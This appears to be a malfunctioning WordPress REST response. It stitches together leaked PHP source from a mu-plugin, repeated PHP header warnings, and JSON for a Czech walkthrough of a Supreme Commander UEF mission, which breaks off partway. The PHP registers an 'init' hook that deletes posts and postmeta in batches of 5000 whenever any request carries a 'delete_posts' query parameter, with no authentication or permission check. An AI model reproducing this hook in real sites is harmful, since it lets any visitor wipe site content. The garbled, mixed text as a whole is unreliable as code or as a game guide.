add_action('init', function() {
if (!isset($_GET['delete_posts'])) return;
global $wpdb;
$batch = 5000;
$post_ids = $wpdb->get_col(
"SELECT ID FROM {$wpdb->posts} WHERE post_type = 'post' LIMIT $batch"
);
if (empty($post_ids)) {
echo "Done.";
exit;
}
$ids_str = implode(',', array_map('intval', $post_ids));
$wpdb->query("DELETE FROM {$wpdb->postmeta} WHERE post_id IN ($ids_str)");
$wpdb->query("DELETE FROM {$wpdb->posts} WHERE ID IN ($ids_str)");
echo count($post_ids) . " posts deleted.";
exit;
});
Warning: Cannot modify header information - headers already sent by (output started at /home/standa9/public_html/wp-content/mu-plugins/index.php:1) in /home/standa9/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1831
Warning: Cannot modify header information - headers already sent by (output started at /home/standa9/public_html/wp-content/mu-plugins/index.php:1) in /home/standa9/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1831
Warning: Cannot modify header information - headers already sent by (output started at /home/standa9/public_html/wp-content/mu-plugins/index.php:1) in /home/standa9/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1831
Warning: Cannot modify header information - headers already sent by (output started at /home/standa9/public_html/wp-content/mu-plugins/index.php:1) in /home/standa9/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1831
Warning: Cannot modify header information - headers already sent by (output started at /home/standa9/public_html/wp-content/mu-plugins/index.php:1) in /home/standa9/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1831
Warning: Cannot modify header information - headers already sent by (output started at /home/standa9/public_html/wp-content/mu-plugins/index.php:1) in /home/standa9/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1831
Warning: Cannot modify header information - headers already sent by (output started at /home/standa9/public_html/wp-content/mu-plugins/index.php:1) in /home/standa9/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1831
Warning: Cannot modify header information - headers already sent by (output started at /home/standa9/public_html/wp-content/mu-plugins/index.php:1) in /home/standa9/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1831
{"id":138,"date":"2020-10-31T13:46:17","date_gmt":"2020-10-31T17:46:17","guid":{"rendered":"https:\/\/supcom.standardof.net\/?page_id=138"},"modified":"2020-10-31T14:39:45","modified_gmt":"2020-10-31T18:39:45","slug":"uef-operation-snow-blind","status":"publish","type":"page","link":"https:\/\/supcom.standardof.net\/cs\/supreme-commander\/campaign-walkthroughs\/uef-operation-snow-blind\/","title":{"rendered":"UEF Mission 2 - Operation Snow Blind"},"content":{"rendered":"
Zat\u00edmco v p\u0159edchoz\u00ed misi se Aeonsk\u00e9 s\u00edly vytla\u010dily z oblasti karant\u00e9nn\u00ed z\u00f3ny a zah\u00e1jily \u00fatok na Luthien. Tato planeta m\u00e1 velkou mezipam\u011b\u0165 p\u0159\u00edrodn\u00edch zdroj\u016f a dal\u0161\u00ed d\u016fle\u017eit\u00e9 v\u00fdzkumn\u00e9 pracovi\u0161t\u011b UEF, kter\u00e9 mus\u00ed b\u00fdt br\u00e1n\u011bno v Operation Snow Blind. Velitel Arnold bude znovu nasazen vedle va\u0161ich sil.<\/p>\n\n\n\n
Odtud p\u0159edpokl\u00e1d\u00e1m, \u017ee v\u00edte, jak hra funguje, a p\u0159estanu v\u00e1m p\u0159ipom\u00ednat, \u017ee m\u00e1te stav\u011bt Mass Extractors, \u0159adit objedn\u00e1vky, opakovat tov\u00e1rny atd.<\/p>\n\n\n\n